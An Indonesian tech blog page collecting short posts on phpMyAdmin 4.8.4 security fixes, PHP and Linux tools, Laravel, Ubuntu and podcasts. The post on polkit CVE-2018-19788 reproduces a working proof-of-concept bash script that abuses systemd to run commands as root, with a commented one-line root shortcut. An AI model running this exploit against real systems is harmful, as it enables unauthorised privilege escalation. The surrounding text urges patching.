Yuks Upgrade phpMyAdmin sekarang! Ada 3 Bug Berbahaya

Tim pengembang phpMyAdmin kembali mengumumkan rilis terbaru dari aplikasi manajemen database milik mereka, phpMyAdmin. Versi yang dirilis adalah versi 4.8.4 yang merangkum sejumlah perbaikan terhadap 3 bug berbahaya (critical vulnerabilities).

Tiga bug berbahaya yang merupakan critical vulnerabilities ini antara lain:

Local file inclusion

salah satu komponen dari phpMyAdmin bisa dimanfaatkan hacker untuk membaca dan menampilkan file apapun dari server. Hacker terlebih dulu harus menguasai akses ke konfigurasi Storage phpMyAdmin untuk dapat melakukan serangan ini.

Lebih lengkap baca disini https://www.phpmyadmin.net/security/PMASA-2018-6/

XSRF/CSRF

Untuk kesekian kali phpMyAdmin terkena bug Cross-site Request Forgery, dimana hacker dengan cara memanipulasi URL phpMyAdmin tertentu, bisa dengan sangat mudah me-rename database, membuat tabel atau routin SQL baru, menghapus halaman designer, menambahkan atau menghapus user, mengupdate password user tertentu dan mematikan SQL server!

Sangat bahaya. Silakan baca lebih lanjut disini https://www.phpmyadmin.net/security/PMASA-2018-7/

XSS di menu Navigasi

Yang terakhir Cross-site Scripting yang menimpa salah satu komponen di menu Navigasi (database dan tabel). Dimana dengan kemampuan khusus, hacker bisa menambahkan script Javascript tambahan ke browser pengguna.

Javascript tambahan ini tidak terbatasi besar dan efek payload nya. Lebih lengkap silakan baca https://www.phpmyadmin.net/security/PMASA-2018-8/

Update Sekarang!

Tidak ada jalan lain gan, silakan update sekarang. Dari berapapun versinya, silakan upgrade ke versi 4.8.4. Lebih amannya, silakan hapus phpMyAdmin dan download source terbaru mereka dari www.phpmyadmin.net

Download phpMyAdmin versi 4.8.4 disini: https://files.phpmyadmin.net/phpMyAdmin/4.8.4/phpMyAdmin-4.8.4-all-languages.zip

Mengenal PSALM, Tool Analisis Error Script PHP yang Keren!

Sebagai developer PHP, kadang perkara sekecil mengetahui error warning atau error notice di script PHP yang kita bikin, itu bisa terlewat begitu saja. Sehingga biasanya meninggalkan bom waktu untuk jauh-jauh hari di masa depan, ketemu dengan bug yang aneh dan terlupakan ūüėÄ

Makanya, sebelum merilis script PHP kita ke tahapan berikutnya, sebaiknya dianalisis dulu. Baik itu menggunakan Unit Testing dengan PHPUnit, ataupun menganalisis kecil-kecilan dengan tool analisis statis. Dalam tutorial ini, kita akan menggunakan tool bikinan Vimeo, yaitu PSALM.

PSALM adalah tool analisis statis untuk PHP. PSALM mampu menjelajah jauh dan mengetahui error remeh-temeh para developer PHP seperti null reference maupun variable yang typo (salah tulis).

Instalasi

Untuk instalasi dari PSALM sendiri sudah mendukung composer gan. Silakan install dengan perintah:

composer require --dev vimeo/psalm

Kemudian langkah keduanya melakukan konfigurasi dengan perintah:

./vendor/bin/psalm --init [folder_source_code_yg_akan_dianalisis] [level]

dimana perintah tersebut akan melakukan analisis ke folder folder_source_code_yg_akan_dianalisis dengan level analisis dari 1-8 (tergantung settingan)

lebih jelasnya silakan simak video berikut gan:

Bug Konyol di Linux, user biasa bisa Jadi Setara Root!?

Anggapan bahwa Linux itu Aman, itu relatif, jangan ditelan mentah-mentah. Kini ada lagi satu bug konyol yang menimpa semua versi Linux yang beredar saat ini. Seorang user biasa bisa mengeksekusi perintah apapun, seperti halnya root!

Bug ini adalah bug di software PolicyKit (atau polkit), sebuah aplikasi low level di hampir semua sistem operasi Unix-like yang mendefinisikan kebijakan akses dan kebijakan kewenangan masing-masing user yang ada disistem. Bug ini diidentifikasi dari CVE nomor 2018-19788. CVE-2018-19788 ini menimpa PolicyKit versi 0.115 yang dipakai disemua distro linux seperti Red Hat dan turunannya, Debian dan turunannya.

Apa Sih Bug Yang Ditemukan?

Ternyata gan, jika sebuah user diberi UID (user ID) yang nilainya lebih dari maksimum nilai sebuah integer di Linux (INT_MAX), maka dia bisa mengeksekusi perintah apapun di Linux. INT_MAX disini kira-kira sekitar 2147483647 atau 0x7FFFFFFF dalam bilangan Heksa.

Jika UID dari user itu lebih dari angka 2147483647, user tersebut akan punya kewenangan yang tidak terbatas karena PolicyKit gagal mengantisipasi kejadian seperti itu.

Seperti yang dijelaskan oleh om 0xm1rch dalam Proof of Conceptnya, dalam exploit yang dia bikin, dia sukses membuat sebuah user dengan UID¬†4000000000 bisa mengeksekusi apapun. ūüėÄ

#!/bin/bash
# PoC for CVE-2018-19788
# Rich Mirch

cat >woot.service<<EOF
[Unit]
Description=Woot
[Service]
Type=notify
ExecStart=/bin/bash -c "echo woot \$(id)|wall"
KillMode=process
Restart=on-failure
RestartSec=42s
[Install]
WantedBy=multi-user.target
EOF

systemctl link $PWD/woot.service
systemctl start woot

# @paragonsec discovered a much cleaner method to get root. Use this instead
# https://twitter.com/paragonsec/status/1071152249529884674
# systemd-run -t /bin/bash

Solusi?

Upgrade lah gan. emang mau ngapain lagi. 

Mengenal Tool ‘Bat’, clone dari Tool ‘cat’ dengan Syntax Highlighting

Salah satu tool wajib yang dikuasai oleh sysadmin Linux diantaranya adalah cat. Perintah cat akan menampilkan isi file di terminal. Biasanya digunakan untuk membaca file konfigurasi maupun file script lainnya.

Nah, jika  cat hanya menampilkan isi teks secara apa adanya, lain lagi tool clone mereka yaitu bat yang menampilkan isi teks lebih cantik dengan syntax highlighting dan line numbers.

Contoh hasil tampilan dari bat

contoh tampilan bat yang menampilkan isi dari file test.md yang berisi syntax Markdown

Instalasi

Untuk instalasinya sendiri, silakan download paket linux (DEB/RPM) maupun source codenya dari laman github mereka gan di https://github.com/sharkdp/bat, kemudian pilih tab release dan pilih file sesuai distro linux anda.

lebih lengkapnya silakan simak video berikut

Podcast PHP Indonesia – 6 Desember 2018

Pada Podcast PHP Indonesia untuk 6 Desember 2018 ini kita akan membahas:

  • Rilis Laravel 5.7.16
  • Rilis WordPress 5.0 RC3
  • Tutorial seputar cek compatibility plugin dengan Gutenberg/WordPress 5

Library/Class Pilihan:

  • UXDM (https://github.com/rapidwebltd/uxdm)
  • Koala Framework (http://koala-framework.com)

Jangan lupa SUBSCRIBE dan LIKE video ini.

php #podcastphpindonesia #sisteminformasibiz

Cara Menambahkan Watermark di File Gambar/PDF dengan PHP Watermark





Pada tutorial kali ini kita akan menambahkan watermark berupa teks atau gambar pada file Gambar ataupun file PDF yang kita miliki di server dengan PHP. Untuk library yang kita gunakan kali ini adalah library dari AjaxRay, yaitu PHP Watermark.

Implementasinya sih seperti watermark nama/nomor induk di foto pegawai/mahasiswa/siswa, atau menambahkan watermark ‘LUNAS’ pada PDF kuitansi pembayaran. Continue reading Cara Menambahkan Watermark di File Gambar/PDF dengan PHP Watermark



Cara Membuat Visitor Counter di Laravel dengan Laravel Visits





Pada tutorial kali ini kita akan membuat counter pengunjung website yang menggunakan Laravel sebagai framework CMS-nya. Library yang kita gunakan adalah Laravel Visits yang dibuat oleh awssat, di Github. Laravel Visits menyimpan statistik yang diolah dan direkamnya pada database Redis. Jadi wajib server sampeyan sudah terpasang Redis.

Untuk fitur dari Laravel Visits ini antara lain:

  • model item yang bisa disesuaikan dengan kunjungan yang direkam menggunakan tag-tag khusus
  • tidak terbatas pada satu model counter,
  • rekam per visitor dan tidak melulu menggunakan deteksi ip address

Instalasi

Untuk instalasinya sendiri, sudah mendukung penggunaan Composer. Jadi tinggal ketik saja perintah

composer require awssat/laravel-visits

Konfigurasi Database Redis

Bagi yang sudah biasa konfigurasi Redis, silakan dilewati saja gan. Sampeyan terusin baca yang lain saja.

Buka file config/database.php. Disana ada satu bagian khusus untuk konfigurasi Redis. Nah, otak-atik disitu saja, sesuaikan dengan konfigurasi masing-masing.

'redis' => [

    'client' => 'predis',

    'default' => [
        'host' => env('REDIS_HOST', 'localhost'),
        'password' => env('REDIS_PASSWORD', null),
        'port' => env('REDIS_PORT', 6379),
        'database' => 0,
    ],

],

tambahkan koneksi Redis baru:

'laravel-visits' => [
            'host' => env('REDIS_HOST', '127.0.0.1'),
            'password' => env('REDIS_PASSWORD', null),
            'port' => env('REDIS_PORT', 6379),
            'database' => 3, // anything from 1 to 15, except 0 (or what is set in default)
        ],

Simpan.

Buka file config/visits.php. Dan sesuaikan koneksinya:

'connection' => 'default'

Penggunaan

Untuk penggunaanya, Laravel Visits sudah menyediakan helper function yang bisa kita panggil di View maupun di Controller.

Contohnya:

visits($model)->{method}()

dimana $model adalah model menggunakan Eloquent dalam project sampeyan, dan
{method} adalah method yang didukung oleh Library ini. Misalnya Increment, Decrement, tambah lebih satu (dll).

Contohnya:

visits($post)->increment(); // tambah visit counter 1 kali
#
visits($post)->increment(10); // tambah visit counter 10 kali
#
visits($post)->decrement(); // kurangi visit counter 1 kali
#
visits($post)->decrement(4); // kurangi visit counter 4 kali
#
visits($post)->seconds(30)->increment() // tambah visit counter 1 kali tiap 30 detik

Referensi lebih lanjut, silakan sampeyan baca-baca disini: https://github.com/awssat/laravel-visits



Berkenalan dengan Stacer, CCleaner-nya Linux





Bagi pengguna Windows atau Mac, pasti akrab dengan software bersih-bersih cache dan file metadata seperti CCleaner atau CleanMyMac. Apa di Linux tidak ada? Ada lah! Namanya Stacer.

Stacer adalah sistem optimizer yang bisa mengelola dan menyajikan informasi seputar sistem kita. Dulu, Stacer dibuat dengan Electron Framework, tapi sekarang Stacer sudah ditulis ulang dengan C++ dan hanya membutuhkan CURL dan systemd saja.

Sebenarnya Stacer ini khusus didesain untuk distro linux berbasis Debian/Ubuntu. Tapi sekarang bisa juga berjalan di distro linux lain seperti Fedora dan Manjaro Linux. Continue reading Berkenalan dengan Stacer, CCleaner-nya Linux



Cara Install FFmpeg di Ubuntu 18.04/18.10





FFmpeg adalah tool command line yang bisa melakukan transcoding file multimedia, bersifat gratis dan open-source. FFmpeg sudah dibekali dengan berbagai codec audio dan video, dari mulai standar yang lawas sampai yang paling baru. Tidak hanya mengubah satu format audio video ke format lain, ffmpeg juga bisa resize, reset sample rate, ngasih watermark dan lain-lain.

Untuk mengikuti tutorial ini, silakan gunakan Ubuntu 18.04/18.10 atau distro turunannya (Lubuntu, Kubuntu, Xubuntu dll). Pastikan ada koneksi internet stabil dan repo yang aktif. Continue reading Cara Install FFmpeg di Ubuntu 18.04/18.10



Review Void Linux 20181111





Pada review linux kali ini, sedikit berbeda dari sebelum-sebelumnya. Adalah Void Linux, distro linux dengan skema rilis bergulir (rolling release) yang kita review minggu ini.

Void Linux tergolong distro baru. Berumur sekitar 3 tahunan, dan dibangun secara independen, tidak menginduk pada Debian/Redhat/Slackware dll. Pemaketan softwarenya menggunakan XBPS (bukan DEB atau RPM).

Versi yang Direview

Yang saya review adalah Void Linux dengan versi image 20181111. Diumumkan pada tanggal 12 November 2018 kemarin disini.

Untuk versi x86 sendiri dirilis dalam 7 image, yaitu:

  • base-system
  • Enlightenment
  • Cinnamon
  • Mate
  • XFCE
  • LXDE
  • LXQt

Dan termasuk untuk pengguna mini PC seperti: Continue reading Review Void Linux 20181111



Podcast PHP Indonesia – 26 November 2018




Pada Podcast PHP Indonesia untuk 26 November 2018 ini kita bahas:

  • WordPress 5.0 Beta 5
  • Symfony 4.2.0 beta 2
  • Waspada, Exploitasi fungsi PHP yang sudah didisable (contoh imap_open)
  • Drupal dan PHP 5

Library/Class Pilihan:
– Kool Report (http://koolreport.com)
– Laravel Bakery (https://github.com/scrnhq/laravel-bakery)
– Sastrawi (https://github.com/sastrawi/sastrawi)

Continue reading Podcast PHP Indonesia – 26 November 2018



Podcast PHP Indonesia – 19 November 2018





Podcast PHP Indonesia untuk tanggal 19 November 2018
– Rilis PHP versi 7.1, 7.2, dan 7.3
– Rilis Laravel 5.7
– Laracon AU 2018 video sudah bisa dilihat gan,
– Tutorial menambahkan MySQL 8 di Laravel Homestead
– Library Pilihan: Gutenberg for Drupal, Reef (form generator), dan LifterLMS (plugin WordPress)

dipersembahkan oleh SistemInformasi.biz (www.sisteminformasi.biz) dan Jalaniaga (www.jalania.ga)

versi Video via Youtube: 





Cara Auto Backup Repo Git dengan Gitlab





Pernah berpikir ataupun khawatir, repositori git di Github atau Bitbucket yang kita gunakan hilang tak berbekas karena gangguan sistem dari Github/Bitbucket atau vendor lainnya? Pernah terbesit untuk membackup repositori itu secara berkala?

Pada tutorial kali ini kita akan memanfaatkan fasilitas Repository Mirroring yang dimiliki oleh Gitlab. Silakan install Gitlab dulu jika belum punya.

Secara umum, mirroring repo yang bisa dilakukan oleh Gitlab itu ada dua:

  • Push: melakukan push repo di Gitlab ke platform lain
  • Pull: melakukan pull repo dari platform lain ke Gitlab

Untuk keperluan tutorial kali ini, tampaknya kita akan menggunakan mode Pull saja. Pastikeun Gitlab yang dipakai sudah versi 8.2 atau lebih baru. Continue reading Cara Auto Backup Repo Git dengan Gitlab



How to Install WSO2 API Manager in Docker Container





WSO2 API Manager is an open source approach to addressing any spectrum of the API lifecycle, monetization and policy enforcement.

WSO2 API Manager features:

  • Design APIs and gather developers’ feedback before implementing (API First Design). Design can be done from the publishing interface or via importing an existing Swagger 2.0 definition
  • Deploy a prototyped API, provide early access to APIs, and get early feedback
  • Mock API implementation using JavaScript
  • Supports publishing SOAP, REST, JSON, and XML style services as APIs
  • Pre-loaded sample APIs for a hassle-free first experience

Build the WSO2 API Manager Images

Create a Dockerfile and write this sample script: Continue reading How to Install WSO2 API Manager in Docker Container



Cara Install Ubuntu Server 18.10 (Cosmic Cuttlefish)





Ubuntu Server 18.10 dirilis bersamaan dengan versi desktop pada tanggal 19 Oktober 2018 kemarin. Pada tutorial kali ini, kita akan menginstall Ubuntu Server 18.10 dengan paket software minimalis, hanya OpenSSH Server saja.

Untuk cara install server web, email dan lainnya, bisa ikuti tutorial selanjutnya.

Download Ubuntu Server 18.10

Untuk link download file ISO dari Ubuntu 18.10, silakan rujuk pada tautan berikut:

http://cdimage.ubuntu.com/releases/18.10/release/ubuntu-18.10-server-amd64.iso

atau dari REPO UNNES/Indonesia: http://repo.unnes.ac.id/iso/ubuntu/18.10/ubuntu-18.10-server-amd64.iso

Cara Install Ubuntu Server 18.10

Masukkan DVD Ubuntu Server yang anda burn ke Server, atau load file ISO itu ke boot device (jika menggunakan virtualisasi VMWare/Virtualbox dll).

  • Pilih bahasa interface, sebaiknya English saja.
  • Kemudian saat ada pilihan booting, pilih¬†Install Ubuntu Server tekan tombol Enter

Lebih lengkapnya, silakan saksikan video berikut:

 



Cara Membatasi Akses API Berdasar IP Address dengan NodeJS





Meneruskan tutorial NodeJS kemarin, kali ini kita akan menambahkan fitur untuk membatasi akses ke API yang kita buat dengan pembatasan IP Address. API yang akan kita buat hanya bisa diakses dari IP Address tertentu saja.

Langsung saja install package express-ipfilter dari NPM. dengan perintah npm install express-ipfilter

Kemudian, masukkan ke aplikasi dengan membuat variabel baru

const ipfilter = require("express-ipfilter").IpFilter

Continue reading Cara Membatasi Akses API Berdasar IP Address dengan NodeJS